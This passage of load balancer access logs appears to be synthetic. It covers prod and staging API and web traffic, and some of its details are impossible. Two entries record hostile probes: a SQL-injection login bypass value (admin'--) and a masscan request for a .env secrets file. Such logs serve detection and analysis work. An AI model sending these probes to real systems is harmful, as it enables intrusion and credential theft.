HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c9f9-1da798cf67ec443f914eb830" "prod-api-alb.example.com" "-" 4 2024-11-01T01:18:33.138370Z "forward" "-" "-" "10.0.246.200:443" "302" "-" "-" +https 2024-11-01T01:18:33.669372Z staging-alb 6.69.21.178:23991 99.32.23.6:80 0.045799 0.637203 0.041780 301 301 167 7430 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9f9-a549b149db3b4d5eb2aee4fb" "staging-alb.example.com" "-" 8 2024-11-01T01:18:33.669372Z "forward" "-" "-" "99.32.23.6:80" "301" "-" "-" +https 2024-11-01T01:18:34.714861Z staging-alb 58.238.74.60:25821 8.0.188.101:8080 0.041523 0.237234 0.125847 200 200 811 10576 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c9fa-c15fa48f6bcc45668e8dbd38" "staging-alb.example.com" "-" 9 2024-11-01T01:18:34.714861Z "forward" "-" "-" "8.0.188.101:8080" "200" "-" "-" +https 2024-11-01T01:18:36.397832Z prod-web-alb 24.165.165.204:49403 10.0.80.109:443 0.073611 0.340272 0.069013 200 200 720 8877 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9fc-795c122f4fb84ac1b21899e1" "prod-web-alb.example.com" "-" 8 2024-11-01T01:18:36.397832Z "forward" "-" "-" "10.0.80.109:443" "200" "-" "-" +https 2024-11-01T01:18:37.913495Z prod-web-alb 255.68.248.0:40173 10.0.236.17:443 0.030004 0.321163 0.045150 301 301 234 12955 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9fd-40c5a45d9ced424b94c4bb09" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:37.913495Z "forward" "-" "-" "10.0.236.17:443" "301" "-" "-" +https 2024-11-01T01:18:38.591187Z prod-api-alb 220.121.17.241:64783 10.0.203.63:443 0.013635 0.139893 0.070600 200 200 553 8773 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c9fe-43c96e098be14bf584841976" "prod-api-alb.example.com" "-" 9 2024-11-01T01:18:38.591187Z "forward" "-" "-" "10.0.203.63:443" "200" "-" "-" +https 2024-11-01T01:18:39.559407Z prod-web-alb 189.56.207.113:33902 10.0.93.86:443 0.024079 0.390574 0.008835 302 302 900 14026 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c9ff-f127c9bdb797470eafe40e00" "-" "-" 0 2024-11-01T01:18:39.559407Z "forward" "-" "-" "10.0.93.86:443" "302" "-" "-" +https 2024-11-01T01:18:40.275788Z prod-web-alb 133.69.247.246:52595 10.0.252.15:443 0.012855 0.418135 0.000184 404 404 903 879 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca00-502f595f33e44410960e2bbd" "prod-web-alb.example.com" "-" 10 2024-11-01T01:18:40.275788Z "forward" "-" "-" "10.0.252.15:443" "404" "-" "-" +http 2024-11-01T01:18:41.312337Z staging-alb 193.27.228.131:31385 23.4.42.99:443 0.010564 0.322760 0.012909 200 200 330 967 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca01-e75cc895dba24358acf633ba" "-" "-" 8 2024-11-01T01:18:41.312337Z "forward" "-" "-" "23.4.42.99:443" "200" "-" "-" +https 2024-11-01T01:18:42.648508Z prod-api-alb 143.169.101.111:30581 10.0.61.22:443 0.007750 0.340388 0.071648 404 404 606 9167 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca02-2eaf1427d2eb445ca4e19b80" "prod-api-alb.example.com" "-" 7 2024-11-01T01:18:42.648508Z "forward" "-" "-" "10.0.61.22:443" "404" "-" "-" +http 2024-11-01T01:18:43.976390Z staging-alb 169.220.8.151:27848 72.243.94.30:443 0.114210 0.683645 0.023270 200 200 564 8818 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca03-e84d7838d0b54947916a9c74" "staging-alb.example.com" "-" 1 2024-11-01T01:18:43.976390Z "forward" "-" "-" "72.243.94.30:443" "200" "-" "-" +http 2024-11-01T01:18:45.369707Z staging-alb 58.231.232.15:30333 176.233.26.89:80 0.084228 0.310526 0.115445 200 200 98 1052 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca05-64a636d66f324dbd9705cea5" "staging-alb.example.com" "-" 10 2024-11-01T01:18:45.369707Z "forward" "-" "-" "176.233.26.89:80" "200" "-" "-" +https 2024-11-01T01:18:47.120217Z prod-api-alb 36.168.113.31:15285 10.0.124.214:443 0.022004 0.161952 0.000154 404 404 967 5448 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca07-dbbee8c1036d4cb0b49158c6" "prod-api-alb.example.com" "-" 6 2024-11-01T01:18:47.120217Z "forward" "-" "-" "10.0.124.214:443" "404" "-" "-" +https 2024-11-01T01:18:47.290983Z prod-api-alb 243.112.204.97:18535 10.0.72.206:443 0.074601 0.312522 0.071428 200 200 358 12673 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca07-e555e3f30a7e417dbb5e0be8" "prod-api-alb.example.com" "-" 7 2024-11-01T01:18:47.290983Z "forward" "-" "-" "10.0.72.206:443" "200" "-" "-" +http 2024-11-01T01:18:47.909964Z staging-alb 170.142.155.236:32807 182.126.136.100:8080 0.002474 0.251873 0.006778 302 302 704 780 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca07-abfefb4ce3c24dfbbce9216e" "staging-alb.example.com" "-" 2 2024-11-01T01:18:47.909964Z "forward" "-" "-" "182.126.136.100:8080" "302" "-" "-" +https 2024-11-01T01:18:48.310417Z prod-web-alb 100.42.241.111:61426 10.0.247.225:443 0.008502 0.329580 0.052768 301 301 919 4101 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca08-ea0eface52634eebb648cc50" "prod-web-alb.example.com" "-" 6 2024-11-01T01:18:48.310417Z "forward" "-" "-" "10.0.247.225:443" "301" "-" "-" +https 2024-11-01T01:18:48.612131Z prod-web-alb 160.96.113.238:21101 10.0.150.113:443 0.082194 0.015790 0.030439 200 200 964 12092 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca08-5dce669384b244e28ae0df61" "prod-web-alb.example.com" "-" 0 2024-11-01T01:18:48.612131Z "forward" "-" "-" "10.0.150.113:443" "200" "-" "-" +https 2024-11-01T01:18:50.246085Z prod-web-alb 185.138.57.235:60341 10.0.219.187:443 0.092021 0.282513 0.041139 200 200 885 14868 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca0a-e0d569e40ae94000883f934b" "prod-web-alb.example.com" "-" 4 2024-11-01T01:18:50.246085Z "forward" "-" "-" "10.0.219.187:443" "200" "-" "-" +https 2024-11-01T01:18:51.264799Z prod-api-alb 193.27.228.79:60307 10.0.41.49:443 0.023788 0.184133 0.020796 403 403 217 2818 "POST /.env HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca0b-5f8b7c28cd6047c9bb12f9a1" "-" "-" 4 2024-11-01T01:18:51.264799Z "forward" "-" "-" "10.0.41.49:443" "403" "-" "-" +https 2024-11-01T01:18:51.537907Z prod-web-alb 18.143.189.206:30997 10.0.43.252:443 0.010068 0.416646 0.077757 200 200 457 7714 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca0b-e17c7ac360d14a7c9b1f7b22" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:51.537907Z "forward" "-" "-" "10.0.43.252:443" "200" "-" "-" +https 2024-11-01T01:18:52.947806Z prod-api-alb 130.160.236.108:21544 10.0.52.64:443 0.059168 0.461668 0.027293 200 200 474 6734 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca0c-b81a38b57e6749f5aa9e698b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:18:52.947806Z "forward" "-" "-" "10.0.52.64:443" "200" "-" "-" +https 2024-11-01T01:18:53.464366Z prod-api-alb 219.3.45.28:55429 10.0.34.136:443 0.017753 0.225136 0.012207 404 404 776 12391 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca0d-e114925546b04dff98625d6d" "prod-api-alb.example.com" "-" 1 2024-11-01T01:18:53.464366Z "forward" "-" "-" "10.0.34.136:443" "404" "-" "-" +https 2024-11-01T01:18:54.578518Z prod-web-alb 223.130.106.220:13503 10.0.42.20:443 0.096925 0.455888 0.054631 200 200 767 4497 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca0e-3c822974d8824513afe14264" "prod-web-alb.example.com" "-" 10 2024-11-01T01:18:54.578518Z "forward" "-" "-" "10.0.42.20:443" "200" "-" "-" +https 2024-11-01T01:18:55.802503Z prod-web-alb 247.136.43.126:54901 10.0.112.139:443 0.003751 0.458122 0.040207 302 302 9 10343 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca0f-6d5cca1f8c704b88994ac0d5" "prod-web-alb.example.com" "-" 1 2024-11-01T01:18:55.802503Z "forward" "-" "-" "10.0.112.139:443" "302" "-" "-" +http 2024-11-01T01:18:56.030331Z staging-alb 250.36.43.41:36506 141.166.113.43:443 0.052490 0.339539 0.127989 200 200 540 3128 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca10-d7e0f43d4cea44f19d85a881" "staging-alb.example.com" "-" 0 2024-11-01T01:18:56.030331Z "forward" "-" "-" "141.166.113.43:443" "200" "-" "-" +https 2024-11-01T01:18:56.909496Z prod-api-alb 15.103.184.208:31847 10.0.132.112:443 0.021656 0.090049 0.072862 200 200 908 676 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca10-0d4860a96a3d43bdbf57e32c" "prod-api-alb.example.com" "-" 7 2024-11-01T01:18:56.909496Z "forward" "-" "-" "10.0.132.112:443" "200" "-" "-" +https 2024-11-01T01:18:57.632146Z prod-web-alb 238.178.206.73:20642 10.0.227.64:443 0.053083 0.305652 0.086932 200 200 453 8664 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca11-2b8889df54d746e2aceb6ea6" "prod-web-alb.example.com" "-" 2 2024-11-01T01:18:57.632146Z "forward" "-" "-" "10.0.227.64:443" "200" "-" "-" +https 2024-11-01T01:18:58.869408Z prod-api-alb 60.21.237.22:54310 10.0.61.93:443 0.093746 0.409812 0.079106 200 200 437 10375 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca12-0962c315326a4a61ae099b74" "prod-api-alb.example.com" "-" 9 2024-11-01T01:18:58.869408Z "forward" "-" "-" "10.0.61.93:443" "200" "-" "-" +https 2024-11-01T01:18:59.260528Z prod-web-alb 219.167.207.170:37514 10.0.122.31:443 0.055746 0.374016 0.013904 404 404 336 14720 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca13-aebb5aad7e7e4b9a8645c36d" "prod-web-alb.example.com" "-" 3 2024-11-01T01:18:59.260528Z "forward" "-" "-" "10.0.122.31:443" "404" "-" "-" +http 2024-11-01T01:18:59.698756Z staging-alb 3.214.37.144:15431 236.211.134.80:443 0.149580 0.359154 0.025629 302 302 119 13295 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca13-86cd8acf9f8d46c4a7f77ccb" "staging-alb.example.com" "-" 1 2024-11-01T01:18:59.698756Z "forward" "-" "-" "236.211.134.80:443" "302" "-" "-" +https 2024-11-01T01:19:01.601848Z prod-web-alb 14.22.172.250:47821 10.0.148.39:443 0.071568 0.217254 0.011815 200 200 245 3493 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca15-baf4fa5575f948efa1fc7c29" "prod-web-alb.example.com" "-" 9 2024-11-01T01:19:01.601848Z "forward" "-" "-" "10.0.148.39:443" "200" "-" "-" +https 2024-11-01T01:19:03.554968Z prod-web-alb 39.195.38.167:16758 10.0.226.113:443 0.008283 0.202776 0.060172 302 302 240 10378 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca17-985c25345da94758ad053686" "prod-web-alb.example.com" "-" 10 2024-11-01T01:19:03.554968Z "forward" "-" "-" "10.0.226.113:443" "302" "-" "-" +https 2024-11-01T01:19:04.317766Z prod-api-alb 150.205.250.136:20948 10.0.148.60:443 0.052381 0.438610 0.050269 404 404 774 10483 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca18-f3fbab4142df4bd4a40739c5" "prod-api-alb.example.com" "-" 3 2024-11-01T01:19:04.317766Z "forward" "-" "-" "10.0.148.60:443" "404" "-" "-" +https 2024-11-01T01:19:04.882595Z staging-alb 20.98.94.82:61231 101.64.9.130:443 0.087527 0.177652 0.145931 200 200 922 8786 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca18-6c5c15feefdd4a15b6f4764d" "staging-alb.example.com" "-" 8 2024-11-01T01:19:04.882595Z "forward" "-" "-" "101.64.9.130:443" "200" "-" "-" +https 2024-11-01T01:19:06.353587Z prod-api-alb 165.104.142.119:36883 10.0.207.155:443 0.067185 0.255119 0.007750 200 200 329 8979 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca1a-9425552721c94c16858b2646" "prod-api-alb.example.com" "-" 1 2024-11-01T01:19:06.353587Z "forward" "-" "-" "10.0.207.155:443" "200" "-" "-" +https 2024-11-01T01:19:07.666234Z prod-api-alb 31.87.118.98:17716 10.0.222.22:443 0.066308 0.070777 0.092629 302 302 773 8045 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca1b-98e90e95dcba41bfa182e35b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:19:07.666234Z "forward" "-" "-" "10.0.222.22:443" "302" "-" "-" +https 2024-11-01T01:19:07.943207Z prod-web-alb 214.54.98.139:28017 10.0.225.147:443 0.053952 0.185412 0.092321 301 301 696 10094 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca1b-de1a2e0856f246d69d5c7e87" "prod-web-alb.example.com" "-" 5 2024-11-01T01:19:07.943207Z "forward" "-" "-" "10.0.225.147:443" "301" "-" "-" +https 2024-11-01T01:19:09.738630Z prod-web-alb 187.13.50.213:64390 10.0.52.63:443 0.075597 0.057545 0.026902 200 200 819 13891 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca1d-71ac2fea38a840e5869daede" "prod-web-alb.example.com" "-" 5 2024-11-01T01:19:09.738630Z "forward" "-" "-" "10.0.52.63:443" "200" "-" "-" +https 2024-11-01T01:19:11.682613Z prod-api-alb 27.228.168.214:23721 10.0.72.96:443 0.050601 0.419479 0.006221 200 200 994 3016 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca1f-1ee6a93cf1544f9aa8281eb1" "prod-api-alb.example.com" "-" 6 2024-11-01T01:19:11.682613Z "forward" "-" "-" "10.0.72.96:443" "200" "-" "-" +https 2024-11-01T01:19:11.792396Z prod-api-alb 212.43.157.217:33861 10.0.112.72:443 0.040493 0.218166 0.048239 200 200 132 3849 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca1f-27e8b19ebb0a41299c5f50eb" "prod-api-alb.example.com" "-" 0 2024-11-01T01:19:11.792396Z "forward" "-" "-" "10.0.112.72:443" "200" "-" "-" +https 2024-11-01T01:19:12.005113Z staging-alb 200.218.149.182:43290 36.112.102.11:8080 0.069229 0.591991 0.126760 404 404 300 5607 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca20-038ec8baa48d40bf9bb88566" "staging-alb.example.com" "-" 6 2024-11-01T01:19:12.005113Z "forward" "-" "-" "36.112.102.11:8080" "404" "-" "-" +https 2024-11-01T01:19:12.684918Z prod-api-alb 79.185.146.203:33821 10.0.81.175:443 0.024569 0.202921 0.074058 302 302 138 10724 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca20-41641e5c4a744fada33803d0" "prod-api-alb.example.com" "-" 5 2024-11-01T01:19:12.684918Z "forward" "-" "-" "10.0.81.175:443" "302" "-" "-" +http 2024-11-01T01:19:14.508847Z staging-alb 91.52.227.50:41250 64.242.17.150:443 0.035645 0.473548 0.008979 302 302 692 11296 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca22-26edae1145ee4124adc7dc74" "staging-alb.example.com" "-" 6 2024-11-01T01:19:14.508847Z "forward" "-" "-" "64.242.17.150:443" "302" "-" "-" +http 2024-11-01T01:19:15.483691Z staging-alb 182.103.195.69:17551 255.62.170.10:443 0.129711 0.413521 0.133858 302 302 615 13363 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca23-86735bb44fbb4ff0a0041fbc" "staging-alb.example.com" "-" 4 2024-11-01T01:19:15.483691Z "forward" "-" "-" "255.62.170.10:443" "302" "-" "-" +https 2024-11-01T01:19:17.452255Z prod-web-alb 81.38.39.220:63947 10.0.167.119:443 0.057812 0.069800 0.080652 200 200 44 8989 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca25-1c3f58022bf4433a8ae29fee" "prod-web-alb.example.com" "-" 0 2024-11-01T01:19:17.452255Z "forward" "-" "-" "10.0.167.119:443" "200" "-" "-" +https 2024-11-01T01:19:18.230630Z staging-alb 70.48.67.182:19250 3.161.29.134:80 0.054254 0.191768 0.122552 404 404 820 12564 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca26-7951111de5664eb2bb9c398c" "staging-alb.example.com" "-" 2 2024-11-01T01:19:18.230630Z "forward" "-" "-" "3.161.29.134:80" "404" "-" "-" +https 2024-11-01T01:19:20.021482Z prod-api-alb 110.50.89.29:35756 10.0.123.93:443 0.045554 0.136423 0.056806 301 301 356 10280 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca28-41020b393cb943eeb5b89148" "prod-api-alb.example.com" "-" 1 2024-11-01T01:19:20.021482Z "forward" "-" "-" "10.0.123.93:443" "301" "-" "-" +https 2024-11-01T01:19:21.845670Z prod-api-alb 12.16.253.74:31635 10.0.70.61:443 0.024167 0.159796 0.036756 200 200 943 8240 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca29-03d9a11cec5b4e798847ca2e" "prod-api-alb.example.com" "-" 6 2024-11-01T01:19:21.845670Z "forward" "-" "-" "10.0.70.61:443" "200" "-" "-" +https 2024-11-01T01:19:22.707981Z staging-alb 241.245.136.91:53836 172.34.208.248:443 0.138416 0.318264 0.096654 200 200 304 1286 "GET 